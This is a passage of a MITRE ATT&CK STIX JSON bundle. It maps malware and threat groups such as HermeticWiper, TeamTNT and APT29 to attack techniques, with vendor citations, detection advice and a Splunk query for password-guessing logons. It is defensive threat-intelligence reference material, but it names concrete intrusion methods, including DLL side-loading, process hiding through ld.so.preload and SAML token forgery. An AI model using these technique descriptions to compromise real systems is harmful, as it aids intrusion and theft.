2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.923Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) has been delivered as compressed RAR payloads in ZIP files to victims.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2a41b67c-60d5-4784-a5a8-99a60a3f9202","created":"2022-03-25T21:34:45.368Z","x_mitre_version":"1.0","external_references":[{"source_name":"Qualys Hermetic Wiper March 2022","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware","description":"Dani, M. (2022, March 1). Ukrainian Targets Hit by HermeticWiper, New Datawiper Malware. Retrieved March 25, 2022."},{"source_name":"Crowdstrike DriveSlayer February 2022","url":"https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/","description":"Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWiper](https://attack.mitre.org/software/S0697) can use `AdjustTokenPrivileges` to grant itself privileges for debugging with `SeDebugPrivilege`, creating backups with `SeBackupPrivilege`, loading drivers with `SeLoadDriverPrivilege`, and shutting down a local system with `SeShutdownPrivilege`.(Citation: Qualys Hermetic Wiper March 2022)(Citation: Crowdstrike DriveSlayer February 2022)","modified":"2022-04-10T16:24:33.076Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2a4447dc-811d-487a-ade9-ef11e6e24e16","type":"relationship","created":"2021-09-13T21:42:19.715Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"20 macOS Common Tools and Techniques","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."}],"modified":"2021-09-13T21:42:19.715Z","description":"[Bundlore](https://attack.mitre.org/software/S0482) uses the mktemp utility to make unique file and directory names for payloads, such as TMP_DIR=`mktemp -d -t x.(Citation: 20 macOS Common Tools and Techniques)","relationship_type":"uses","source_ref":"malware--7bef1b56-4870-4e74-b32a-7dd88c390c44","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2a47008b-49af-4ecc-b018-ef92786ead72","created":"2021-11-29T16:31:50.587Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Profero APT27 December 2020","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.","url":"https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:05:38.078Z","description":"[RCSession](https://attack.mitre.org/software/S0662) can identify processes based on PID.(Citation: Profero APT27 December 2020)","relationship_type":"uses","source_ref":"malware--03acae53-9b98-46f6-b204-16b930839055","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2a4a9318-ee83-49aa-a278-bde789dd4d2c","created":"2024-07-26T17:50:27.475Z","revoked":false,"external_references":[{"source_name":"SentinelOne Macma 2021","description":"Phil Stokes. (2021, November 15). Infect If Needed | A Deeper Dive Into Targeted Backdoor macOS.Macma. Retrieved July 26, 2024.","url":"https://www.sentinelone.com/labs/infect-if-needed-a-deeper-dive-into-targeted-backdoor-macos-macma/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-26T17:50:27.475Z","description":"[MacMa](https://attack.mitre.org/software/S1016) has been delivered using ad hoc Apple Developer code signing certificates.(Citation: SentinelOne Macma 2021)","relationship_type":"uses","source_ref":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2a5341b9-e987-4687-b8f2-6c798f1ac0ae","type":"relationship","created":"2021-01-27T21:26:53.153Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET EvilNum July 2020","url":"https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/","description":"Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."}],"modified":"2021-01-27T21:26:53.153Z","description":"[EVILNUM](https://attack.mitre.org/software/S0568) has used the malware variant, TerraTV, to run a legitimate TeamViewer application to connect to compromrised machines.(Citation: ESET EvilNum July 2020)","relationship_type":"uses","source_ref":"intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2a5472fb-e971-42e2-a6fe-8c1236b8c4b7","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor for third-party application logging, messaging, and/or other artifacts that may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt. Externally monitor the availability of services that may be targeted by an Endpoint DoS.","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2a54bde2-8f9d-4b1c-b6d0-08c778a1bcec","type":"relationship","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.858Z","description":"Monitoring for SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity.","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2a562acd-e85c-42ce-89fc-b10174863980","created":"2021-10-01T01:57:31.788Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ATT TeamTNT Chimaera September 2020","description":"AT&T Alien Labs. (2021, September 8). TeamTNT with new campaign aka Chimaera. Retrieved September 22, 2021.","url":"https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera"},{"source_name":"Trend Micro TeamTNT","description":"Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T19:55:58.092Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has run netstat -anp to search for rival malware connections.(Citation: Trend Micro TeamTNT) [TeamTNT](https://attack.mitre.org/groups/G0139) has also used `libprocesshider` to modify /etc/ld.so.preload.(Citation: ATT TeamTNT Chimaera September 2020)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2a58bdf1-2421-434d-938a-28d096f31736","created":"2024-09-23T22:30:22.821Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"},{"source_name":"trendmicro_redcurl","description":"Tancio et al. (2024, March 6). Unveiling Earth Kapre aka RedCurl’s Cyberespionage Tactics With Trend Micro MDR, Threat Intelligence. Retrieved August 9, 2024.","url":"https://www.trendmicro.com/en_us/research/24/c/unveiling-earth-kapre-aka-redcurls-cyberespionage-tactics-with-t.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T22:30:22.821Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has used malicious files to infect the victim machines.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2)(Citation: trendmicro_redcurl) ","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2a63bcf8-fff3-4b31-8164-f8ee290425ba","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2a6c6e75-86cf-4eb8-a06a-edcefad19650","created":"2024-07-01T18:59:35.033Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T18:59:35.033Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) can zlib-compress data prior to exfiltration.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2a7307c0-7020-4fc1-9cec-183df4795d6e","created":"2022-03-30T14:26:51.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cloudy Logs 2023","description":"Pany, D. & Hanley, C. (2023, May 3). Cloudy with a Chance of Bad Logs: Cloud Platform Log Configurations to Consider in Investigations. Retrieved October 16, 2023.","url":"https://www.mandiant.com/resources/blog/cloud-bad-log-configurations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T17:53:50.162Z","description":" Monitor for many failed authentication attempts across various accounts that may result from password guessing attempts.(Citation: Mandiant Cloudy Logs 2023)\n\nAnalytic 1 - Multiple failed logon attempts across different accounts.\n\n (index=security sourcetype=\"WinEventLog:Security\" EventCode IN (4625, 5379)) OR\n(index=os sourcetype=\"linux_secure\" message=\"Failed password\") OR\n(index=os sourcetype=\"macos_secure\" message=\"Failed to authenticate user\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2a764532-6758-4a82-90e4-eb53d1ac9c16","created":"2023-03-26T20:21:53.505Z","revoked":false,"external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021.","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:21:53.505Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used [GoldFinder](https://attack.mitre.org/software/S0597) to perform HTTP GET requests to check internet connectivity and identify HTTP proxy servers and other redirectors that an HTTP request travels through.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2a7a152f-79c9-45c9-9f09-0d39f563ad05","type":"relationship","created":"2020-02-04T19:17:42.259Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-09-01T20:05:05.420Z","description":"Ensure critical system files as well as those known to be abused by adversaries have restrictive permissions and are owned by an appropriately privileged account, especially if access is not required by users nor will inhibit system functionality.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2a7a5ee2-e949-4d25-895a-43ba0bc8cc33","type":"relationship","created":"2020-05-06T17:47:43.597Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JPCert BlackTech Malware September 2019","url":"https://blogs.jpcert.or.jp/en/2019/09/tscookie-loader.html","description":"Tomonaga, S.. (2019, September 18). Malware Used by BlackTech after Network Intrusion. Retrieved May 6, 2020."}],"modified":"2020-07-07T14:05:07.560Z","description":"[TSCookie](https://attack.mitre.org/software/S0436) has the ability to inject code into the svchost.exe, iexplorer.exe, explorer.exe, and default browser processes.(Citation: JPCert BlackTech Malware September 2019)","relationship_type":"uses","source_ref":"malware--76ac7989-c5cc-42e2-93e3-d6c476f01ace","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2a7cd52f-46e5-4a18-bdf6-4c38edfcb97c","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"}],"modified":"2020-03-16T16:55:40.062Z","description":"[Helminth](https://attack.mitre.org/software/S0170) establishes persistence by creating a shortcut in the Start Menu folder.(Citation: Palo Alto OilRig May 2016)","relationship_type":"uses","source_ref":"malware--eff1a885-6f90-42a1-901f-eef6e7a1905e","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2a7d01e9-9c42-4d17-947a-629ca7a9d515","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html","description":"Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.","source_name":"Lotus Blossom Jun 2015"}],"modified":"2019-04-17T22:12:24.745Z","description":"[Elise](https://attack.mitre.org/software/S0081) executes net start after initial communication is made to the remote server.(Citation: Lotus Blossom Jun 2015)","relationship_type":"uses","source_ref":"malware--7551188b-8f91-4d34-8350-0d0c57b2b913","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2a82c4cf-5c04-41b9-bfa4-c5e00d288eed","created":"2023-04-05T15:21:53.704Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:45:54.860Z","description":"[metaMain](https://attack.mitre.org/software/S1059)'s module file has been encrypted via XOR.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2a896410-d7cd-4b58-a7d6-4878bc64113b","type":"relationship","created":"2021-08-19T16:54:59.595Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-08-19T18:23:24.032Z","description":"[Naikon](https://attack.mitre.org/groups/G0019) has modified a victim's Windows Run registry to establish persistence.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2a8a7397-8977-4554-abbf-5168074cd4cc","created":"2023-03-26T20:00:01.940Z","revoked":false,"external_references":[{"source_name":"Microsoft 365 Defender Solorigate","description":"Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021.","url":"https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/"},{"source_name":"Secureworks IRON RITUAL Profile","description":"Secureworks CTU. (n.d.). IRON RITUAL. Retrieved February 24, 2022.","url":"https://www.secureworks.com/research/threat-profiles/iron-ritual"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:00:01.940Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used forged SAML tokens that allowed the actors to impersonate users and bypass MFA, enabling [APT29](https://attack.mitre.org/groups/G0016) to access enterprise cloud applications and services.(Citation: Microsoft 365 Defender Solorigate)(Citation: Secureworks IRON RITUAL Profile)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2a8c6029-7714-437a-87a2-bc91067575e6","type":"relationship","created":"2019-05-02T00:08:18.461Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.","url":"https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517","source_name":"Cylance Shaheen Nov 2018"}],"modified":"2019-06-12T19:55:21.940Z","description":"[The White Company](https://attack.mitre.org/groups/G0089) has checked for specific antivirus products on the target’s computer, including Kaspersky, Quick Heal, AVG, BitDefender, Avira, Sophos, Avast!, and ESET.(Citation: Cylance Shaheen Nov 2018)","relationship_type":"uses","source_ref":"intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2a8f0313-4059-42b9-b487-6c8f860588c0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 2","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"}],"modified":"2020-03-30T01:44:20.227Z","description":"[ADVSTORESHELL](https://attack.mitre.org/software/S0045) encrypts with the 3DES algorithm and a hardcoded key prior to exfiltration.(Citation: ESET Sednit Part 2)","relationship_type":"uses","source_ref":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2a93ea80-d0f6-4b81-887d-8911f7573245","created":"2017-05-31T21:33:27.061Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SecureWorks BRONZE UNION June 2017","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.","url":"https://www.secureworks.com/research/bronze-union"},{"source_name":"Lunghi Iron Tiger Linux","description":"Daniel Lunghi. (2023, March 1). Iron Tiger’s SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.","url":"https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"},{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"},{"source_name":"Unit42 Emissary Panda May 2019","description":"Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.","url":"https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/"},{"source_name":"Securelist LuckyMouse June 2018","description":"Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.","url":"https://securelist.com/luckymouse-hits-national-data-center/86083/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-29T14:39:17.535Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used DLL side-loading, including by using legitimate Kaspersky antivirus variants as well as `rc.exe`, a legitimate Microsoft Resource Compiler.(Citation: Dell TG-3390)(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Securelist LuckyMouse June 2018)(Citation: Unit42 Emissary Panda May 2019)(Citation: Lunghi Iron Tiger Linux)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2a94575a-8e47-4d69-964b-f96210a673bd","type":"relationship","created":"2020-03-18T18:14:53.814Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"fsecure NanHaiShu July 2016","description":"F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.","url":"https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf"}],"modified":"2020-06-23T20:05:03.359Z","description":"[NanHaiShu](https://attack.mitre.org/software/S0228) executes additional Jscript code on the victim's machine.(Citation: fsecure NanHaiShu July 